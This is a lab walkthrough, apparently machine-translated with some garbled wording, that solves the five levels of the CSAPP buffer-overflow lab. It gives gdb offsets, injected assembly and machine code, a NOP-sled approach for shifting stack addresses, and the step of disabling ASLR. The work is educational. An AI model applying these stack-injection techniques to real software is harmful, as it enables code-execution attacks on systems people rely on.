Csapp lab: Buffer Overflow, csappbuffer
This is a well-known experiment on the official website of CSAPP. It injects assembly code to implement stack overflow attacks.
Lab material can be downloaded from my github repository https://github.com/Cheukyin/CSAPP-LAB/ by choosing the buffer-overflow Branch
In linux, ASLR is enabled by default. The variable addresses are different each time a program is loaded. Therefore, to disable ASLR: sysctl-w kernel. randomize_va_space = 0 (assign a value of 2 to open ASLR). However, the program in this experiment seems to have undergone special processing and the stack of ASLR compiled programs does not need to be closed and is non-executable, however, you can add a compilation option to open the executable option for all the programs in this experiment.Level0:Modify the return address of getbuf (), run the smoke program to open gdb, and set the breakpoint to getbuf, r-u cheukyin.
1 80491f4: 55 push %ebp2 80491f5: 89 e5 mov %esp,%ebp3 80491f7: 83 ec 38 sub $0x38,%esp4 80491fa: 8d 45 d8 lea -0x28(%ebp),%eax5 80491fd: 89 04 24 mov %eax,(%esp)6 8049200: e8 f5 fa ff ff call 8048cfa <Gets>7 8049205: b8 01 00 00 00 mov $0x1,%eax8 804920a: c9 leave 9 804920b: c3 ret
The code above indicates that the buf address is a ebp-0x28, the address is stored in eax print $ ebp + 4 ==> 0x55683884 print eax ==> 0x55683858 difference between 44 bytes, therefore, you need to enter 44 common characters. The input smoke address print smoke ==> 0x8048c6 hexists in level0-smoke-hex.txt. /hex2raw <level0-smoke-hex.txt |. /bufbomb_32-u cheukyin.
Level1:Similar to the above, fizz () is executed, but fizz has a parameter that needs to be pushed to the stack. This parameter must be equivalent to cookie. Therefore, apart from modifying the getbuf return address, you also need to enter four bytes as the return address of fizz, and then 4 bytes cookie. /makecookie cheukyin can get cookie disassembly to get fizz return address. /hex2raw <level1-fizz-hex.txt |. /bufbomb_32-u cheukyin customs clearance
Level2:Modify the value of the global variable global_value and enter the bang function to modify global_value. You need to inject a modified code into the stack. After executing get_buf, jump the code to it, after the code is executed, jump to the bang level2-firecracker-assembly.S for the injection code:
1 # push the address of bang onto stack 2 pushl $0x08048c9d 3 4 # in gdb, print &global_value ==> 0x804d100 5 # mov cheukyin cookie to global_value 6 mov $0x3955ae84, %eax 7 mov %eax, 0x804d100 8 9 # jump to <bang>10 ret
First bang address pressure stack, then modify the value of global_value to cheukin cookie, and finally ret jump to bang gcc-m32-c level2-firecracker-assembly.S to generate the target file objdump-d level2-firecracker-assembly.o> level2-firecracker-assembly.d disassembly level2-firecracker-assembly.d:
1 0: 68 9d 8c 04 08 push $0x8048c9d2 5: b8 84 ae 55 39 mov $0x3955ae84,%eax3 a: a3 00 d1 04 08 mov %eax,0x804d1004 f: c3 ret
Gdb: print $ ebp + 8 ==> 0x55683888 fill in the machine code to the above address, and then change the get_buf return address to the above address. /hex2raw <level2-bang-hex.txt |. /bufbomb_32-u cheukyin can passLevel3:The getbuf returns the cookie to test, so the stack frame of test cannot be damaged. Therefore, the injection code can only be written at the beginning of the input string, that is, the buf address. In addition, when the test is returned, the correct ebp needs to be restored. Therefore, the ebp should be written before the return address in the input string: In getbuf, x/wx $ ebp ==> 0x55683880 the returned address should be the buf address: print $ ebp-0x28 ==> 0x55683858 injection code needs to move the cookie into eax, and return the correct address:
1 #in getbuf: x/wx $ebp+4 ==> 0x08048dbe2 #push get_buf's return address3 pushl $0x08048dbe4 5 #return cheukyin's cookie to test6 movl $0x3955ae84, %eax7 8 #return to <test>9 ret
Gcc-m32-c level3-Dynamite-assembly.S objdump-d level3-Dynamite-assembly.o> the level3-Dynamite-assembly.d fills in the generated machine code with buf./hex2raw <level3-Dynamite-hex.txt |./bufbomb_32-u cheukyin clearanceLevel4:The requirements for the last pass are the same as those of the previous pass. However, you must add the-n parameter to run the bufbomb operation. In this case, the testn and getbufn functions are entered instead of the test and getbuf functions. The difference is that, to simulate a real environment, there are an indefinite number of environment variables above the stack frame. The ebp value when you enter getbufn is not a fixed value, and the buffer size of the read string changes from 32 to 512, in addition, the testn function is called five times, which means that you need to input five strings and pass them all before passing through. Because the ebp value of testn () is not fixed, you must first determine how to restore the value. Note that the distance between esp and ebp is fixed. The Assembly Code of testn is as follows:
1 2 8048e26: 55 push %ebp3 8048e27: 89 e5 mov %esp,%ebp4 8048e29: 53 push %ebx5 8048e2a: 83 ec 24 sub $0x24,%esp6 8048e2d: e8 5e ff ff ff call 8048d90 <uniqueval>7 8048e32: 89 45 f4 mov %eax,-0xc(%ebp)8 8048e35: e8 d2 03 00 00 call 804920c <getbufn>9 8048e3a: 89 c3 mov %eax,%ebx
After getbufn returns normally, it should return to 8048e3a. In this case, ebp = esp + 0x28. Therefore, the injection code should add the statement to use esp to restore ebp as follows:
1 #testn's ebp is fixed 2 #read <testn>'s assembly code and calculate 3 lea 0x28(%esp), %ebp 4 5 #look into bufbomb_32.S 6 #push getbufn's return address 7 pushl $0x08048e3a 8 9 #return cheukyin's cookie to test10 movl $0x3955ae84, %eax11 12 #return to <testn>13 ret
View the machine code:
1 2 0: 8d 6c 24 28 lea 0x28(%esp),%ebp3 4: 68 3a 8e 04 08 push $0x8048e3a4 9: b8 84 ae 55 39 mov $0x3955ae84,%eax5 e: c3 ret
At this point, there is another difficulty. If ebp is not fixed, the buf address of the string array in getbufn is also not fixed. How can I modify the getbufn return address to execute the injection code? You can use gdb to view the address (eax) of the buf string in getbufn. For the same userid, the same address sequence is provided. This is a pseudo-random query with the userid as seed, the addresses provided by the five running operations are:
1 0x556836782 0x556836983 0x556836c84 0x556835f85 0x55683668
Follow the prompts to adopt nop sleds technology. If you do not know the entry address of the valid machine code, you can run a large number of nop machine commands (0x90) before the valid machine code) fill, as long as the jump address is on these nop to reach the valid machine code. Since the machine code on the stack is executed in ascending order by address, to ensure that the five runs can successfully execute valid machine code, you must meet the following requirements: the jump address is located in the nop machine instruction filling area before the valid machine code entry address. This requires that the nop filling area be increased as much as possible, and the valid machine code segment be moved back as much as possible. Therefore, the highest return address is 0x556836c8, which is compiled by getbufn code 8049215: 8d 85 f8 fd ff lea-0x208 (% ebp ), % eax: The buf address and the Unit for storing the returned address are 0x208 + 4 = 0x20c bytes, And the injected code contains 15 bytes, therefore, a total of 0x20c-15 nop (0x90) must be entered at the beginning of the buf, and then the machine code and return address must be entered. /hex2raw-n <level4-Nitroglycerin-hex.txt |. /bufbomb_32-u cheukyin-n customs clearance. the-n option of/hex2raw allows hex2raw to be input multiple times.